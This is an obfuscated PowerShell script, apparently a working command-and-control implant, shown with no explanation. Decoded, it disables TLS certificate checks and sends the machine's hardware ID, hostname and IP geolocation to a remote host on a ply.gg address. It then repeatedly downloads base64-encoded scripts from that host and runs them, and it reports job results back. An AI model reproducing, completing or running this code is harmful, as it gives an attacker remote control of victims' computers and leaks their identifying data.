Sv ("{0}{1}"-f '5F','B7') ( [Type]("{8}{6}{1}{3}{0}{4}{5}{2}{7}"-F 'Et.se','em.','O','n','rVicE','p','T','inTmAnaGEr','Sys'));SeT-ItEM ("VA"+"RIa"+"BlE:DZh"+"13"+"R") ( [TYPE]("{4}{0}{2}{1}{3}" -f'u','P','stAllCERts','OliCy','TR')); SEt-itEm ("{1}{0}{3}{2}" -f 'ARiaBl','V','YTd','e:') ( [tYPe]("{1}{0}{2}"-f 'cRiptbL','s','oCk') ) ; seT ('5I'+'k') ( [TYpE]("{0}{1}{2}{3}"-f 'syST','eM.C','oN','VeRt') ) ; $p65CF= [type]("{3}{4}{2}{1}{0}"-f 'InG','eXt.ENCOd','.t','sYSt','EM'); sV ("{1}{2}{0}"-f '1Q5','MO','S') ([TyPE]("{3}{4}{2}{1}{5}{6}{0}" -f'X','.','Ws','sYSTE','M.wiNdo','FOr','mS.MeSsaGEBO') ) ; ${GLO`B`AL:Ip`_POrt} = ("{7}{5}{3}{6}{0}{2}{8}{1}{4}"-f '-','gg:37','scholar.gl.at.p','ng','513','s://cha','e','http','ly.') ${g`LOb`AL`:Id} = &("{1}{0}{2}"-f'jec','get-wmiob','t') ("{4}{2}{5}{1}{6}{0}{7}{3}" -f 'S','Comput','2','ct','Win3','_','er','ystemProdu') | &("{3}{2}{0}{1}" -f'bjec','t','elect-O','S') -ExpandProperty ("{0}{1}"-f'UU','ID') ${gL`obal:PING_`TI`MeR} = 15 ${gLO`BaL:joB_tI`M`EouT} = 10 ${GLoBAL`:`CO`UnTRycodE} = "" ${g`lobal:`LAt} = "" ${GlO`BAL:`L`ON} = "" ( ITeM ("{0}{2}{1}" -f'variaB','5fB7','LE:') ).vALuE::"seCuR`ITyPr`oTO`cOL" = ("{4}{2}{3}{1}{0}{5}" -f'sl','12, S',' Tls11, T','ls','Tls,','3') class TrustAllCertsPolicy : System.Net.ICertificatePolicy { [bool] ("{6}{0}{1}{3}{4}{5}{2}" -f 'al','ida','lt','tio','nRe','su','CheckV')([System.Net.ServicePoint] ${A}, [System.Security.Cryptography.X509Certificates.X509Certificate] ${b}, [System.Net.WebRequest] ${C}, [int] ${d}) { return ${TR`Ue} } } $5fB7::"CerTiFi`caTEPo`li`CY" = $DzH13r::("{0}{1}"-f 'n','ew').Invoke() function G`eT-Info { if (${G`l`oBAL:co`U`NTRyc`ode} -eq "" -or ${gLOBAL`:l`AT} -eq "" -or ${GL`oBa`L:LoN} -eq "") { ${r`EQ} = .("{4}{3}{2}{0}{1}"-f'Reque','st','e-Web','k','Invo') -Uri ("{4}{3}{0}{1}{2}{5}" -f '/j','s','o','/ip-api.com','http:/','n') -useb if (${R`Eq}."STa`T`UsCODe" -eq 200) { ${G`Lob`Al`:cO`UNTRyC`OdE} = (${R`eq}."cO`NtE`NT" | &("{2}{1}{0}{3}"-f'tFro','nver','Co','m-Json'))."coU`NT`RyCoDE" ${GL`OBAl`:lAt} = (${r`eQ}."cON`TENT" | &("{1}{4}{3}{2}{0}"-f'on','C','s','J','onvertFrom-'))."l`At" ${GlOBA`L`:LOn} = (${r`Eq}."coN`TEnt" | &("{3}{0}{2}{1}" -f'n','n','vertFrom-Jso','Co'))."l`ON" } else { .("{1}{2}{0}" -f 'Error','Invo','ke-') ("{4}{1}{6}{7}{5}{2}{9}{3}{0}{10}{8}" -f's','fi not found ','r','is','Wi','her netwo','or',' ot','e','k ','u') Exit 1 } } ${jso`N`DAtA} = @{ ("{1}{0}" -f 'FO','PCIN') = @{ ("{0}{1}"-f 'hw','id') = ${gl`OBal`:iD} ("{0}{2}{3}{1}"-f 'cou','ode','n','try_c') = ${GLoB`A`L:`COUN`Tr`ycOde} ("{0}{1}" -f'hos','tname') = ${ENV:coM`pUT`eRN`AMe} ("{1}{0}" -f'e','dat') = (&("{1}{2}{0}" -f 'Date','Get','-')).("{0}{2}{1}" -f 'ToSt','ng','ri').Invoke() 'lat' = ${G`loBA`l:L`At} 'lon' = ${GLO`Bal`:L`oN} } } return ${j`soNd`AtA} } function ma`IN { .("{0}{2}{1}"-f'In','C2','voke-') while (${t`RUe}) { .("{2}{3}{0}{1}" -f 'ers','hell','ClearP','ow') .("{1}{2}{0}"-f'earJobs','C','l') .("{1}{0}" -f 'C2','Get-') .("{2}{1}{0}"-f 'p','ee','Start-Sl') -Seconds ${gLo`BA`L:`PinG_tIm`er} } } function LoAD`scR`ipt { param ( [String]${bAs`E64_S`CRiPt} ) try { ${b`LOCk} = ( VARiABLe ("{1}{0}" -f 'd','yt') -VaLueONLy)::"C`REatE"( ( VaRiaBle ('P65c'+'f')).VALuE::"u`TF8"."GeT`stR`Ing"( $5Ik::("{4}{1}{0}{3}{2}" -f 'ri','St','g','n','FromBase64').Invoke(${bas`E6`4_sCR`I`pT}))) ${St`A`RtED_Job} = &("{3}{1}{0}{2}"-f'rt-','a','Job','St') -ScriptBlock ${bL`O`cK} -ArgumentList ${gLoB`AL`:`ip_pO`Rt}, ${gL`oBa`L:Id} | .("{0}{2}{1}" -f 'W','ob','ait-J') -Timeout ${GLoB`Al`:JOb`_`Ti`mEoUt} if (${StA`Rt`Ed_J`Ob}."S`TaTE" -eq ("{0}{1}" -f 'Fa','iled')) { &("{2}{0}{1}"-f 'voke-Log','C2','In') ${STa`R`TeD`_JoB}."cHilDj`O`BS"[0]."j`OBSTaTe`In`Fo"."Rea`SOn"."m`E`ssAgE" ("{1}{2}{0}" -f'iled','Jo','b fa') } else { &("{3}{0}{1}{2}"-f'v','o','ke-LogC2','In') ("{3}{0}{1}{2}"-f'uccessf','ul Exe','cution','S') ("{2}{0}{1}{3}"-f 'ompl','et','Job c','ed') } } catch { &("{1}{2}{0}"-f 'C2','Invoke-Lo','g') ${_}."E`xcePT`I`ON"."me`ssA`ge" ("{1}{0}{2}"-f 'ob faile','J','d') } } function INV`o`kE-`c2 { ${wEnt_T`HroU`Gh} = ${Fal`SE} while (${WEnT`_`T`HrougH} -eq ${fAl`SE}) { ${jSO`Nd`ATa} = &("{2}{1}{0}" -f 'Info','-','Get') | &("{2}{0}{3}{4}{1}" -f 've','Json','Con','rt','To-') ${BasE`6`4_Id} = ( VArIable ('5'+'iK') ).vAlue::"toB`Ase64STR`ing"( ( GET-VArIAbLE ("{1}{0}" -f'f','P65c') ).VAlUE::"uT`F8".("{2}{1}{0}" -f's','etByte','G').Invoke(${Gl`O`BaL`:ID})) ${r`eQ} = &("{3}{0}{1}{2}" -f 'e','qu','est','Invoke-WebR') -Uri "$global:ip_port/send/$base64_id" -Method ("{0}{1}" -f'POS','T') -Body ${J`sO`NdATa} -ContentType ("{2}{0}{3}{1}" -f'ion','on','applicat','/js') -UseBasicParsing if (${r`eQ}."s`TaTUs`codE" -eq 200) { ${w`ENT`_T`HR`OUgh} = ${t`Rue} ${ou`TDa`Ta} = ${r`eQ}."COn`TE`Nt" | .("{2}{0}{3}{1}"-f 'n','-Json','Co','vertFrom') if (${oUt`da`TA}."USeR`_`TyPe" -eq "new") { if (${ouTD`A`TA}."Aut`O_Lo`Ad" -eq ${tR`UE}) { foreach (${S`CR`Ipt} in ${Out`DATa}."aut`o_`lOaD_scr`iPt") { .("{2}{0}{1}" -f'ad','Script','Lo') -base64_script ${s`cR`IpT} } break } } if (${o`UTdata}[("{1}{0}" -f'ew_run','n')] -eq ${T`RUe}) { &("{2}{1}{0}"-f 'cript','oadS','L') -base64_script ${o`UTd`ATa}[("{2}{1}{0}{3}" -f '_run_','w','ne','script')] break } } else { .("{0}{2}{1}" -f'S','leep','tart-S') -Seconds 10 } } } function g`et-c2 { ${W`e`NT`_thR`ouGH} = ${F`AL`Se} while (${We`Nt_`ThR`OUgh} -eq ${f`AlsE}) { ${b`ASE64_`Id} = ( geT-VaRIAbLe ('5i'+'K') ).valuE::"tO`BASE6`4ST`R`InG"( ( get-CHILdiTeM ("{1}{0}{2}{3}"-f 'l','VarIAb','e:P65','cf')).vAluE::"ut`F8".("{0}{1}" -f 'GetBy','tes').Invoke(${GLo`BaL`:ID})) ${R`eQ} = &("{4}{0}{3}{1}{5}{2}" -f 'n','Re','t','voke-Web','I','ques') -Uri "$global:ip_port/get/$base64_id" -Method ("{1}{0}" -f'T','GE') -useb if (${r`eQ}."statusc`O`DE" -eq 200) { ${we`NT`_`THrOuGH} = ${T`Rue} ${O`Ut`DAtA} = ${R`Eq}."COnT`Ent" | &("{2}{4}{0}{1}{3}" -f'er','tFrom-Js','Co','on','nv') if (${ouT`D`ATa}."N`Ew_run" -eq ${tr`Ue}) { foreach (${s`cri`pt} in ${oU`Tda`TA}."scr`iPTs") { .("{3}{2}{1}{0}" -f'ipt','r','adSc','Lo') -base64_script ${sCr`I`pT} } } } else { .("{3}{2}{0}{1}"-f 'rt-Sl','eep','a','St') -Seconds 60 } } } function INVo`KE-`LOgc2 { param( [String]${e`RrOr_MeS`SagE}, [String]${tY`Pe} ) ${JSON`DA`Ta} = @{ ("{0}{1}"-f 'HW','ID') = ${gL`o`BAl:iD} ("{0}{2}{3}{1}"-f 'error','ge','_mes','sa') = ${ErR`or_`mE`SSAGE} ("{0}{1}" -f 'typ','e') = ${ty`PE} } ${JS`ONd`ATA} = ${Json`D`AtA} | .("{1}{2}{0}{3}{4}"-f'vert','Co','n','T','o-Json') ${R`EQ} = .("{0}{4}{2}{3}{1}" -f 'I','est','WebR','equ','nvoke-') -Uri "$global:ip_port/log" -Method ("{1}{0}" -f 'T','POS') -Body ${Jso`N`DATA} -ContentType ("{1}{2}{0}{3}{4}"-f 'c','a','ppli','ati','on/json') -useb if (${R`eQ}."St`AtUsC`oDe" -ne 200) { .("{1}{0}{2}"-f'voke','In','-Error') ("{5}{4}{0}{1}{8}{6}{2}{3}{7}" -f 't fou','nd or','r n','etwo','er no','serv','he','rk issue',' ot') Exit 1 } } function cLe`ARPO`W`eRsHEll { } function Cl`eARjObs { .("{0}{1}"-f'Get-','Job') | .("{0}{2}{1}{3}" -f'R','Jo','emove-','b') -Force } function I`NV`OkE-ERROr { param ( [String]${E`Rro`R_me`s`Sage} ) ( cHilDiTEM ("{0}{2}{1}{3}" -f'Var','ble:MO','Ia','s1Q5')).VaLUe::("{1}{0}" -f 'w','Sho').Invoke(${erR`or_mEs`sage}, ("{0}{1}"-f 'Erro','r'), 0) } .("{1}{0}" -f 'in','Ma')